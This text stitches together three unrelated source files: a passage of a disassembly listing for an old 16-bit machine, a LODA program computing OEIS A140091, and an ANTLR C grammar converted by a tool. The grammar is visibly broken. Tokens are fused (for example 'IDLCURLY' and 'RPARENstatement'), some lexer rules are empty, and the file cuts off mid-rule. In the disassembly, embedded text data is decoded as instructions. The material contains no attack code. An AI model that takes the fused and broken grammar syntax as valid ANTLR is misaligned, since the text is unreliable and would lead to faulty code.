0x009E (0x00013C) 0x2921- f:00024 d: 289 | OR[289] = A
0x009F (0x00013E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A0 (0x000140) 0x2922- f:00024 d: 290 | OR[290] = A
0x00A1 (0x000142) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A2 (0x000144) 0x2923- f:00024 d: 291 | OR[291] = A
0x00A3 (0x000146) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A4 (0x000148) 0x2924- f:00024 d: 292 | OR[292] = A
0x00A5 (0x00014A) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x00A6 (0x00014C) 0x5800- f:00054 d: 0 | B = A
0x00A7 (0x00014E) 0x1800-0x0B18 f:00014 d: 0 | A = 2840 (0x0B18)
0x00A9 (0x000152) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00AA (0x000154) 0x2100- f:00020 d: 256 | A = OR[256]
0x00AB (0x000156) 0x2913- f:00024 d: 275 | OR[275] = A
0x00AC (0x000158) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00AD (0x00015A) 0x2914- f:00024 d: 276 | OR[276] = A
0x00AE (0x00015C) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x00AF (0x00015E) 0x2915- f:00024 d: 277 | OR[277] = A
0x00B0 (0x000160) 0x744B- f:00072 d: 75 | R = P + 75 (0x00FB)
0x00B1 (0x000162) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00B2 (0x000164) 0x8402- f:00102 d: 2 | P = P + 2 (0x00B4), A = 0
0x00B3 (0x000166) 0x700D- f:00070 d: 13 | P = P + 13 (0x00C0)
0x00B4 (0x000168) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x00B5 (0x00016A) 0x291D- f:00024 d: 285 | OR[285] = A
0x00B6 (0x00016C) 0x211A- f:00020 d: 282 | A = OR[282]
0x00B7 (0x00016E) 0x291E- f:00024 d: 286 | OR[286] = A
0x00B8 (0x000170) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x00B9 (0x000172) 0x5800- f:00054 d: 0 | B = A
0x00BA (0x000174) 0x1800-0x0B18 f:00014 d: 0 | A = 2840 (0x0B18)
0x00BC (0x000178) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00BD (0x00017A) 0x104E- f:00010 d: 78 | A = 78 (0x004E)
0x00BE (0x00017C) 0x2913- f:00024 d: 275 | OR[275] = A
0x00BF (0x00017E) 0x7029- f:00070 d: 41 | P = P + 41 (0x00E8)
0x00C0 (0x000180) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x00C1 (0x000182) 0x291D- f:00024 d: 285 | OR[285] = A
0x00C2 (0x000184) 0x211A- f:00020 d: 282 | A = OR[282]
0x00C3 (0x000186) 0x291E- f:00024 d: 286 | OR[286] = A
0x00C4 (0x000188) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00C5 (0x00018A) 0x291F- f:00024 d: 287 | OR[287] = A
0x00C6 (0x00018C) 0x211C- f:00020 d: 284 | A = OR[284]
0x00C7 (0x00018E) 0x2920- f:00024 d: 288 | OR[288] = A
0x00C8 (0x000190) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x00C9 (0x000192) 0x5800- f:00054 d: 0 | B = A
0x00CA (0x000194) 0x1800-0x0B18 f:00014 d: 0 | A = 2840 (0x0B18)
0x00CC (0x000198) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00CD (0x00019A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00CE (0x00019C) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x00CF (0x00019E) 0x251C- f:00022 d: 284 | A = A + OR[284]
0x00D0 (0x0001A0) 0x290D- f:00024 d: 269 | OR[269] = A
0x00D1 (0x0001A2) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00D2 (0x0001A4) 0x290D- f:00024 d: 269 | OR[269] = A
0x00D3 (0x0001A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D4 (0x0001A8) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00D5 (0x0001AA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00D6 (0x0001AC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D7 (0x0001AE) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00D8 (0x0001B0) 0x8604- f:00103 d: 4 | P = P + 4 (0x00DC), A # 0
0x00D9 (0x0001B2) 0x210D- f:00020 d: 269 | A = OR[269]
0x00DA (0x0001B4) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00DB (0x0001B6) 0x290D- f:00024 d: 269 | OR[269] = A
0x00DC (0x0001B8) 0x210D- f:00020 d: 269 | A = OR[269]
0x00DD (0x0001BA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00DE (0x0001BC) 0x2913- f:00024 d: 275 | OR[275] = A
0x00DF (0x0001BE) 0x2113- f:00020 d: 275 | A = OR[275]
0x00E0 (0x0001C0) 0x1659- f:00013 d: 89 | A = A - 89 (0x0059)
0x00E1 (0x0001C2) 0x8602- f:00103 d: 2 | P = P + 2 (0x00E3), A # 0
0x00E2 (0x0001C4) 0x7006- f:00070 d: 6 | P = P + 6 (0x00E8)
0x00E3 (0x0001C6) 0x2113- f:00020 d: 275 | A = OR[275]
0x00E4 (0x0001C8) 0x164E- f:00013 d: 78 | A = A - 78 (0x004E)
0x00E5 (0x0001CA) 0x8602- f:00103 d: 2 | P = P + 2 (0x00E7), A # 0
0x00E6 (0x0001CC) 0x7002- f:00070 d: 2 | P = P + 2 (0x00E8)
0x00E7 (0x0001CE) 0x7227- f:00071 d: 39 | P = P - 39 (0x00C0)
0x00E8 (0x0001D0) 0x2005- f:00020 d: 5 | A = OR[5]
0x00E9 (0x0001D2) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x00EA (0x0001D4) 0x290D- f:00024 d: 269 | OR[269] = A
0x00EB (0x0001D6) 0x2113- f:00020 d: 275 | A = OR[275]
0x00EC (0x0001D8) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x00ED (0x0001DA) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x00EE (0x0001DC) 0x291D- f:00024 d: 285 | OR[285] = A
0x00EF (0x0001DE) 0x211A- f:00020 d: 282 | A = OR[282]
0x00F0 (0x0001E0) 0x291E- f:00024 d: 286 | OR[286] = A
0x00F1 (0x0001E2) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x00F2 (0x0001E4) 0x5800- f:00054 d: 0 | B = A
0x00F3 (0x0001E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F4 (0x0001E8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00F5 (0x0001EA) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x00F6 (0x0001EC) 0x291D- f:00024 d: 285 | OR[285] = A
0x00F7 (0x0001EE) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x00F8 (0x0001F0) 0x5800- f:00054 d: 0 | B = A
0x00F9 (0x0001F2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00FA (0x0001F4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00FB (0x0001F6) 0x2113- f:00020 d: 275 | A = OR[275]
0x00FC (0x0001F8) 0x391B- f:00034 d: 283 | (OR[283]) = A
0x00FD (0x0001FA) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x00FE (0x0001FC) 0x291D- f:00024 d: 285 | OR[285] = A
0x00FF (0x0001FE) 0x1800-0x0011 f:00014 d: 0 | A = 17 (0x0011)
0x0101 (0x000202) 0x291E- f:00024 d: 286 | OR[286] = A
0x0102 (0x000204) 0x211B- f:00020 d: 283 | A = OR[283]
0x0103 (0x000206) 0x291F- f:00024 d: 287 | OR[287] = A
0x0104 (0x000208) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0105 (0x00020A) 0x2920- f:00024 d: 288 | OR[288] = A
0x0106 (0x00020C) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0107 (0x00020E) 0x2921- f:00024 d: 289 | OR[289] = A
0x0108 (0x000210) 0x211A- f:00020 d: 282 | A = OR[282]
0x0109 (0x000212) 0x2922- f:00024 d: 290 | OR[290] = A
0x010A (0x000214) 0x2115- f:00020 d: 277 | A = OR[277]
0x010B (0x000216) 0x2923- f:00024 d: 291 | OR[291] = A
0x010C (0x000218) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x010D (0x00021A) 0x2924- f:00024 d: 292 | OR[292] = A
0x010E (0x00021C) 0x2114- f:00020 d: 276 | A = OR[276]
0x010F (0x00021E) 0x2925- f:00024 d: 293 | OR[293] = A
0x0110 (0x000220) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x0111 (0x000222) 0x5800- f:00054 d: 0 | B = A
0x0112 (0x000224) 0x1800-0x0B18 f:00014 d: 0 | A = 2840 (0x0B18)
0x0114 (0x000228) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0115 (0x00022A) 0x0200- f:00001 d: 0 | EXIT
0x0116 (0x00022C) 0x3030- f:00030 d: 48 | A = (OR[48])
0x0117 (0x00022E) 0x3A30- f:00035 d: 48 | (OR[48]) = A + (OR[48])
0x0118 (0x000230) 0x303A- f:00030 d: 58 | A = (OR[58])
0x0119 (0x000232) 0x3030- f:00030 d: 48 | A = (OR[48])
0x011A (0x000234) 0x2044- f:00020 d: 68 | A = OR[68]
0x011B (0x000236) 0x4434- f:00042 d: 52 | C = 1, IOB = DN | **** non-standard encoding with D:0x0034 ****
0x011C (0x000238) 0x3920- f:00034 d: 288 | (OR[288]) = A
0x011D (0x00023A) 0x4348- f:00041 d: 328 | C = 1, io 0510 = BZ
0x011E (0x00023C) 0x2030- f:00020 d: 48 | A = OR[48]
0x011F (0x00023E) 0x3020- f:00030 d: 32 | A = (OR[32])
0x0120 (0x000240) 0x4641- f:00043 d: 65 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0041 ****
0x0121 (0x000242) 0x5441- f:00052 d: 65 | A = A + B | **** non-standard encoding with D:0x0041 ****
0x0122 (0x000244) 0x4C20- f:00046 d: 32 | A = A >> B | **** non-standard encoding with D:0x0020 ****
0x0123 (0x000246) 0x2044- f:00020 d: 68 | A = OR[68]
0x0124 (0x000248) 0x4435- f:00042 d: 53 | C = 1, IOB = DN | **** non-standard encoding with D:0x0035 ****
0x0125 (0x00024A) 0x3020- f:00030 d: 32 | A = (OR[32])
0x0126 (0x00024C) 0x0000- f:00000 d: 0 | PASS
0x0127 (0x00024E) 0x4552- f:00042 d: 338 | C = 1, IOB = DN | **** non-standard encoding with D:0x0152 ****
0x0128 (0x000250) 0x524F- f:00051 d: 79 | A = A & B | **** non-standard encoding with D:0x004F ****
0x0129 (0x000252) 0x522E- f:00051 d: 46 | A = A & B | **** non-standard encoding with D:0x002E ****
0x012A (0x000254) 0x2052- f:00020 d: 82 | A = OR[82]
0x012B (0x000256) 0x4554- f:00042 d: 340 | C = 1, IOB = DN | **** non-standard encoding with D:0x0154 ****
0x012C (0x000258) 0x5259- f:00051 d: 89 | A = A & B | **** non-standard encoding with D:0x0059 ****
0x012D (0x00025A) 0x3F20- f:00037 d: 288 | (OR[288]) = (OR[288]) - 1
0x012E (0x00025C) 0x2827- f:00024 d: 39 | OR[39] = A
0x012F (0x00025E) 0x5927- f:00054 d: 295 | B = A | **** non-standard encoding with D:0x0127 ****
0x0130 (0x000260) 0x204F- f:00020 d: 79 | A = OR[79]
0x0131 (0x000262) 0x5220- f:00051 d: 32 | A = A & B | **** non-standard encoding with D:0x0020 ****
0x0132 (0x000264) 0x274E- f:00023 d: 334 | A = A - OR[334]
0x0133 (0x000266) 0x2729- f:00023 d: 297 | A = A - OR[297]
0x0134 (0x000268) 0x0000- f:00000 d: 0 | PASS
0x0135 (0x00026A) 0x5350- f:00051 d: 336 | A = A & B | **** non-standard encoding with D:0x0150 ****
0x0136 (0x00026C) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x0137 (0x00026E) 0x444C- f:00042 d: 76 | C = 1, IOB = DN | **** non-standard encoding with D:0x004C ****
0x0138 (0x000270) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0139 (0x000272) 0x504F- f:00050 d: 79 | A = B | **** non-standard encoding with D:0x004F ****
0x013A (0x000274) 0x5745- f:00053 d: 325 | A = A - B | **** non-standard encoding with D:0x0145 ****
0x013B (0x000276) 0x5220- f:00051 d: 32 | A = A & B | **** non-standard encoding with D:0x0020 ****
0x013C (0x000278) 0x522F- f:00051 d: 47 | A = A & B | **** non-standard encoding with D:0x002F ****
0x013D (0x00027A) 0x5720- f:00053 d: 288 | A = A - B | **** non-standard encoding with D:0x0120 ****
0x013E (0x00027C) 0x4C4F- f:00046 d: 79 | A = A >> B | **** non-standard encoding with D:0x004F ****
0x013F (0x00027E) 0x4749- f:00043 d: 329 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0149 ****
0x0140 (0x000280) 0x4320- f:00041 d: 288 | C = 1, io 0440 = BZ
0x0141 (0x000282) 0x504F- f:00050 d: 79 | A = B | **** non-standard encoding with D:0x004F ****
0x0142 (0x000284) 0x5745- f:00053 d: 325 | A = A - B | **** non-standard encoding with D:0x0145 ****
0x0143 (0x000286) 0x5220- f:00051 d: 32 | A = A & B | **** non-standard encoding with D:0x0020 ****
0x0144 (0x000288) 0x4F56- f:00047 d: 342 | A = A << B | **** non-standard encoding with D:0x0156 ****
0x0145 (0x00028A) 0x4552- f:00042 d: 338 | C = 1, IOB = DN | **** non-standard encoding with D:0x0152 ****
0x0146 (0x00028C) 0x5445- f:00052 d: 69 | A = A + B | **** non-standard encoding with D:0x0045 ****
0x0147 (0x00028E) 0x4D50- f:00046 d: 336 | A = A >> B | **** non-standard encoding with D:0x0150 ****
0x0148 (0x000290) 0x2020- f:00020 d: 32 | A = OR[32]
0x0149 (0x000292) 0x5255- f:00051 d: 85 | A = A & B | **** non-standard encoding with D:0x0055 ****
0x014A (0x000294) 0x4E20- f:00047 d: 32 | A = A << B | **** non-standard encoding with D:0x0020 ****
0x014B (0x000296) 0x5357- f:00051 d: 343 | A = A & B | **** non-standard encoding with D:0x0157 ****
0x014C (0x000298) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x014D (0x00029A) 0x4348- f:00041 d: 328 | C = 1, io 0510 = BZ
0x014E (0x00029C) 0x2020- f:00020 d: 32 | A = OR[32]
0x014F (0x00029E) 0x5752- f:00053 d: 338 | A = A - B | **** non-standard encoding with D:0x0152 ****
0x0150 (0x0002A0) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x0151 (0x0002A2) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0152 (0x0002A4) 0x5052- f:00050 d: 82 | A = B | **** non-standard encoding with D:0x0052 ****
0x0153 (0x0002A6) 0x4F54- f:00047 d: 340 | A = A << B | **** non-standard encoding with D:0x0154 ****
0x0154 (0x0002A8) 0x4543- f:00042 d: 323 | C = 1, IOB = DN | **** non-standard encoding with D:0x0143 ****
0x0155 (0x0002AA) 0x5420- f:00052 d: 32 | A = A + B | **** non-standard encoding with D:0x0020 ****
0x0156 (0x0002AC) 0x424C- f:00041 d: 76 | C = 1, io 0114 = BZ
0x0157 (0x0002AE) 0x4F57- f:00047 d: 343 | A = A << B | **** non-standard encoding with D:0x0157 ****
0x0158 (0x0002B0) 0x4552- f:00042 d: 338 | C = 1, IOB = DN | **** non-standard encoding with D:0x0152 ****
0x0159 (0x0002B2) 0x2041- f:00020 d: 65 | A = OR[65]
0x015A (0x0002B4) 0x4952- f:00044 d: 338 | A = A > B | **** non-standard encoding with D:0x0152 ****
0x015B (0x0002B6) 0x2020- f:00020 d: 32 | A = OR[32]
0x015C (0x0002B8) 0x5350- f:00051 d: 336 | A = A & B | **** non-standard encoding with D:0x0150 ****
0x015D (0x0002BA) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x015E (0x0002BC) 0x444C- f:00042 d: 76 | C = 1, IOB = DN | **** non-standard encoding with D:0x004C ****
0x015F (0x0002BE) 0x4520- f:00042 d: 288 | C = 1, IOB = DN | **** non-standard encoding with D:0x0120 ****
0x0160 (0x0002C0) 0x5350- f:00051 d: 336 | A = A & B | **** non-standard encoding with D:0x0150 ****
0x0161 (0x0002C2) 0x4545- f:00042 d: 325 | C = 1, IOB = DN | **** non-standard encoding with D:0x0145 ****
0x0162 (0x0002C4) 0x4420- f:00042 d: 32 | C = 1, IOB = DN | **** non-standard encoding with D:0x0020 ****
0x0163 (0x0002C6) 0x013B- f:00000 d: 315 | PASS | **** non-standard encoding with D:0x013B ****
0x0164 (0x0002C8) 0x0142- f:00000 d: 322 | PASS | **** non-standard encoding with D:0x0142 ****
0x0165 (0x0002CA) 0x014A- f:00000 d: 330 | PASS | **** non-standard encoding with D:0x014A ****
0x0166 (0x0002CC) 0x014F- f:00000 d: 335 | PASS | **** non-standard encoding with D:0x014F ****
0x0167 (0x0002CE) 0x0155- f:00000 d: 341 | PASS | **** non-standard encoding with D:0x0155 ****
0x0168 (0x0002D0) 0x015C- f:00000 d: 348 | PASS | **** non-standard encoding with D:0x015C ****
0x0169 (0x0002D2) 0x0162- f:00000 d: 354 | PASS | **** non-standard encoding with D:0x0162 ****
0x016A (0x0002D4) 0x0169- f:00000 d: 361 | PASS | **** non-standard encoding with D:0x0169 ****
0x016B (0x0002D6) 0x0000- f:00000 d: 0 | PASS
0x016C (0x0002D8) 0x0000- f:00000 d: 0 | PASS
0x016D (0x0002DA) 0x0000- f:00000 d: 0 | PASS
0x016E (0x0002DC) 0x0000- f:00000 d: 0 | PASS
0x016F (0x0002DE) 0x0000- f:00000 d: 0 | PASS
|
programs/oeis/140/A140091.asm | karttu/loda | 1 | 104757 | ; A140091: a(n) = 3*n*(n + 3)/2.
; 0,6,15,27,42,60,81,105,132,162,195,231,270,312,357,405,456,510,567,627,690,756,825,897,972,1050,1131,1215,1302,1392,1485,1581,1680,1782,1887,1995,2106,2220,2337,2457,2580,2706,2835,2967,3102,3240,3381,3525,3672,3822,3975,4131,4290,4452,4617,4785,4956,5130,5307,5487,5670,5856,6045,6237,6432,6630,6831,7035,7242,7452,7665,7881,8100,8322,8547,8775,9006,9240,9477,9717,9960,10206,10455,10707,10962,11220,11481,11745,12012,12282,12555,12831,13110,13392,13677,13965,14256,14550,14847,15147,15450,15756,16065,16377,16692,17010,17331,17655,17982,18312,18645,18981,19320,19662,20007,20355,20706,21060,21417,21777,22140,22506,22875,23247,23622,24000,24381,24765,25152,25542,25935,26331,26730,27132,27537,27945,28356,28770,29187,29607,30030,30456,30885,31317,31752,32190,32631,33075,33522,33972,34425,34881,35340,35802,36267,36735,37206,37680,38157,38637,39120,39606,40095,40587,41082,41580,42081,42585,43092,43602,44115,44631,45150,45672,46197,46725,47256,47790,48327,48867,49410,49956,50505,51057,51612,52170,52731,53295,53862,54432,55005,55581,56160,56742,57327,57915,58506,59100,59697,60297,60900,61506,62115,62727,63342,63960,64581,65205,65832,66462,67095,67731,68370,69012,69657,70305,70956,71610,72267,72927,73590,74256,74925,75597,76272,76950,77631,78315,79002,79692,80385,81081,81780,82482,83187,83895,84606,85320,86037,86757,87480,88206,88935,89667,90402,91140,91881,92625,93372,94122
mov $1,$0
add $1,3
mul $1,$0
div $1,2
mul $1,3
|
_tests/trconvert/antlr2/stdc.g4 | SKalt/Domemtech.Trash | 16 | 7584 | <filename>_tests/trconvert/antlr2/stdc.g4
grammar StdC;
translationUnit
: externalList
|
;
externalList
: ( externalDef )+
;
externalDef
: declaration
| functionDef
| asm_expr
;
asm_expr
: 'asm'
('volatile')? LCURLY expr RCURLY SEMI
;
declaration
:declSpecifiers
(
initDeclList
)?
SEMI
;
declSpecifiers
: (storageClassSpecifier
| typeQualifier
| typeSpecifier
)+
;
storageClassSpecifier
: 'auto'
| 'register'
| 'typedef'
| functionStorageClassSpecifier
;
functionStorageClassSpecifier
: 'extern'
| 'static'
;
typeQualifier
: 'const'
| 'volatile'
;
typeSpecifier
:
( 'void'
| 'char'
| 'short'
| 'int'
| 'long'
| 'float'
| 'double'
| 'signed'
| 'unsigned'
| structOrUnionSpecifier
| enumSpecifier
| { specCount == 0 }? typedefName
)
;
typedefName
: { isTypedefName ( LT(1).getText() ) }?ID
;
structOrUnionSpecifier
:structOrUnion
(IDLCURLY
structDeclarationList
RCURLY
|LCURLY
structDeclarationList
RCURLY
| ID
)
;
structOrUnion
: 'struct'
| 'union'
;
structDeclarationList
: ( structDeclaration )+
;
structDeclaration
: specifierQualifierList structDeclaratorList ( SEMI )+
;
specifierQualifierList
: ( typeSpecifier
| typeQualifier
)+
;
structDeclaratorList
: structDeclarator ( COMMA structDeclarator )*
;
structDeclarator
:
( COLON constExpr
| declarator ( COLON constExpr )?
)
;
enumSpecifier
: 'enum'
(ID LCURLY enumList RCURLY
| LCURLY enumList RCURLY
| ID
)
;
enumList
: enumerator ( COMMA enumerator )*
;
enumerator
:ID
(ASSIGN constExpr)?
;
initDeclList
: initDecl
( COMMA initDecl )*
;
initDecl
:declarator
( ASSIGN initializer
| COLON expr
)?
;
pointerGroup
: ( STAR ( typeQualifier )* )+
;
idList
: ID ( COMMA ID )*
;
initializer
: ( assignExpr
| LCURLY initializerList ( COMMA )? RCURLY
)
;
initializerList
: initializer ( COMMA initializer )*
;
declarator
:
( pointerGroup )?
(ID
| LPAREN declarator RPAREN
)
( ! LPAREN
(parameterTypeList
| (idList)?
)
RPAREN
| LBRACKET ( constExpr )? RBRACKET
)*
;
parameterTypeList
: parameterDeclaration
(
COMMA
parameterDeclaration
)*
( COMMA
VARARGS
)?
;
parameterDeclaration
:declSpecifiers
(declarator
| nonemptyAbstractDeclarator
)?
;
/* JTC:
* This handles both new and old style functions.
* see declarator rule to see differences in parameters
* and here (declaration SEMI)* is the param type decls for the
* old style. may want to do some checking to check for illegal
* combinations (but I assume all parsed code will be legal?)
*/
functionDef
: (functionDeclSpecifiers
| //epsilon
)declarator
( declaration )* (VARARGS)? ( SEMI )*
compoundStatement
;
functionDeclSpecifiers
: (
functionStorageClassSpecifier
| typeQualifier
| typeSpecifier
)+
;
declarationList
: ( declaration
)+
;
declarationPredictor
: (
'typedef'
| declaration
)
;
compoundStatement
: LCURLY
( declarationList )?
( statementList )?
RCURLY
;
statementList
: ( statement )+
;
statement
: SEMI // Empty statements
| compoundStatement // Group of statements
| expr SEMI // Expressions
// Iteration statements:
| 'while' LPAREN expr RPAREN statement
| 'do' statement 'while' LPAREN expr RPAREN SEMI
|! 'for'
LPAREN (expr )? SEMI (expr )? SEMI (expr )? RPARENstatement
// Jump statements:
| 'goto' ID SEMI
| 'continue' SEMI
| 'break' SEMI
| 'return' ( expr )? SEMI
// Labeled statements:
| ID COLON (statement)?
| 'case' constExpr COLON statement
| 'default' COLON statement
// Selection statements:
| 'if'
LPAREN expr RPAREN statement
(
'else' statement )?
| 'switch' LPAREN expr RPAREN statement
;
expr
: assignExpr (COMMA assignExpr
)*
;
assignExpr
: conditionalExpr (assignOperator assignExpr )?
;
assignOperator
: ASSIGN
| DIV_ASSIGN
| PLUS_ASSIGN
| MINUS_ASSIGN
| STAR_ASSIGN
| MOD_ASSIGN
| RSHIFT_ASSIGN
| LSHIFT_ASSIGN
| BAND_ASSIGN
| BOR_ASSIGN
| BXOR_ASSIGN
;
conditionalExpr
: logicalOrExpr
( QUESTION expr COLON conditionalExpr )?
;
constExpr
: conditionalExpr
;
logicalOrExpr
: logicalAndExpr ( LOR logicalAndExpr )*
;
logicalAndExpr
: inclusiveOrExpr ( LAND inclusiveOrExpr )*
;
inclusiveOrExpr
: exclusiveOrExpr ( BOR exclusiveOrExpr )*
;
exclusiveOrExpr
: bitAndExpr ( BXOR bitAndExpr )*
;
bitAndExpr
: equalityExpr ( BAND equalityExpr )*
;
equalityExpr
: relationalExpr
( ( EQUAL | NOT_EQUAL ) relationalExpr )*
;
relationalExpr
: shiftExpr
( ( LT | LTE | GT | GTE ) shiftExpr )*
;
shiftExpr
: additiveExpr
( ( LSHIFT | RSHIFT ) additiveExpr )*
;
additiveExpr
: multExpr
( ( PLUS | MINUS ) multExpr )*
;
multExpr
: castExpr
( ( STAR | DIV | MOD ) castExpr )*
;
castExpr
:
LPAREN typeName RPAREN ( castExpr )
| unaryExpr
;
typeName
: specifierQualifierList (nonemptyAbstractDeclarator)?
;
nonemptyAbstractDeclarator
: (
pointerGroup
( (LPAREN
( nonemptyAbstractDeclarator
| parameterTypeList
)?
RPAREN)
| (LBRACKET (expr)? RBRACKET)
)*
| ( (LPAREN
( nonemptyAbstractDeclarator
| parameterTypeList
)?
RPAREN)
| (LBRACKET (expr)? RBRACKET)
)+
)
;
/* JTC:
LR rules:
abstractDeclarator
: nonemptyAbstractDeclarator
| // null
;
nonemptyAbstractDeclarator
: LPAREN nonemptyAbstractDeclarator RPAREN
| abstractDeclarator LPAREN RPAREN
| abstractDeclarator (LBRACKET (expr)? RBRACKET)
| STAR abstractDeclarator
;
*/
unaryExpr
: postfixExpr
| INC unaryExpr
| DEC unaryExpr
|unaryOperator castExpr
| 'sizeof'
( LPAREN typeName RPAREN
| unaryExpr
)
;
unaryOperator
: BAND
| STAR
| PLUS
| MINUS
| BNOT
| LNOT
;
postfixExpr
: primaryExpr
(
postfixSuffix
)?
;
postfixSuffix
:
( PTR ID
| DOT ID
| functionCall
| LBRACKET expr RBRACKET
| INC
| DEC
)+
;
functionCall
:
LPAREN (argExprList)? RPAREN
;
primaryExpr
: ID
| charConst
| intConst
| floatConst
| stringConst
// JTC:
// ID should catch the enumerator
// leaving it in gives ambiguous err
// | enumerator
| LPAREN expr RPAREN
;
argExprList
: assignExpr ( COMMA assignExpr )*
;
charConst
: CharLiteral
;
stringConst
: (StringLiteral)+
;
intConst
: IntOctalConst
| LongOctalConst
| UnsignedOctalConst
| IntIntConst
| LongIntConst
| UnsignedIntConst
| IntHexConst
| LongHexConst
| UnsignedHexConst
;
floatConst
: FloatDoubleConst
| DoubleDoubleConst
| LongDoubleConst
;
dummy
: NTypedefName
| NInitDecl
| NDeclarator
| NStructDeclarator
| NDeclaration
| NCast
| NPointerGroup
| NExpressionGroup
| NFunctionCallArgs
| NNonemptyAbstractDeclarator
| NInitializer
| NStatementExpr
| NEmptyExpression
| NParameterTypeList
| NFunctionDef
| NCompoundStatement
| NParameterDeclaration
| NCommaExpr
| NUnaryExpr
| NLabel
| NPostfixExpr
| NRangeExpr
| NStringSeq
| NInitializerElementLabel
| NLcurlyInitializer
| NAsmAttribute
| NGnuAsmExpr
| NTypeMissing
;
Vocabulary
: '\3'..'\377'
;
/* Operators: */
ASSIGN : '=' ;
COLON : ':' ;
COMMA : ',' ;
QUESTION : '?' ;
SEMI : ';' ;
PTR : '->' ;
DOT:;
VARARGS:;
LPAREN : '(' ;
RPAREN : ')' ;
LBRACKET : '[' ;
RBRACKET : ']' ;
LCURLY : '{' ;
RCURLY : '}' ;
EQUAL : '==' ;
NOT_EQUAL : '!=' ;
LTE : '<=' ;
LT : '<' ;
GTE : '>=' ;
GT : '>' ;
DIV : '/' ;
DIV_ASSIGN : '/=' ;
PLUS : '+' ;
PLUS_ASSIGN : '+=' ;
INC : '++' ;
MINUS : '-' ;
MINUS_ASSIGN : '-=' ;
DEC : '--' ;
STAR : '*' ;
STAR_ASSIGN : '*=' ;
MOD : '%' ;
MOD_ASSIGN : '%=' ;
RSHIFT : '>>' ;
RSHIFT_ASSIGN : '>>=' ;
LSHIFT : '<<' ;
LSHIFT_ASSIGN : '<<=' ;
LAND : '&&' ;
LNOT : '!' ;
LOR : '||' ;
BAND : '&' ;
BAND_ASSIGN : '&=' ;
BNOT : '~' ;
BOR : '|' ;
BOR_ASSIGN : '|=' ;
BXOR : '^' ;
BXOR_ASSIGN : '^=' ;
Whitespace
: ( ( '\003'..'\010' | '\t' | '\013' | '\f' | '\016'.. '\037' | '\177'..'\377' | ' ' )
| '\r\n'
| ( '\n' | '\r' )
)
;
Comment
: '/*'
( { LA(2) != '/' }? '*'
| '\r\n'
| ( '\r' | '\n' )
| ~( '*'| '\r' | '\n' )
)*
'*/'
;
CPPComment
:
'//' ( ~('\n') )*
;
PREPROC_DIRECTIVE
:
'#'
( LineDirective
| (~'\n')*
)
; Space:
( ' ' | '\t' | '\014')
; LineDirective
:
('line')? //this would be for if the directive started "#line", but not there for GNU directives
(Space)+Number
(Space)+
(StringLiteral
|ID
)?
(Space)*
('1' )?
(Space)*
('2' )?
(Space)*
('3' )?
(Space)*
('4' )?
(~('\r' | '\n'))*
('\r\n' | '\r' | '\n')
;
/* Literals: */
/*
* Note that we do NOT handle tri-graphs nor multi-byte sequences.
*/
/*
* Note that we can't have empty character constants (even though we
* can have empty strings :-).
*/
CharLiteral
: '\'' ( Escape | ~( '\'' ) ) '\''
;
/*
* Can't have raw imbedded newlines in string constants. Strict reading of
* the standard gives odd dichotomy between newlines & carriage returns.
* Go figure.
*/
StringLiteral
: '"'
( Escape
| (
'\r'
| '\n'
| '\\' '\n'
)
| ~( '"' | '\r' | '\n' | '\\' )
)*
'"'
; BadStringLiteral
: // Imaginary token.
;
Escape
: '\\'
(
'a'
| 'b'
| 'f'
| 'n'
| 'r'
| 't'
| 'v'
| '"'
| '\''
| '\\'
| '?'
| ('0'..'3') ( Digit ( Digit )? )?
| ('4'..'7') ( Digit )?
| 'x' ( Digit | 'a'..'f' | 'A'..'F' )+
)
;
Digit
: '0'..'9'
;
LongSuffix
: 'l'
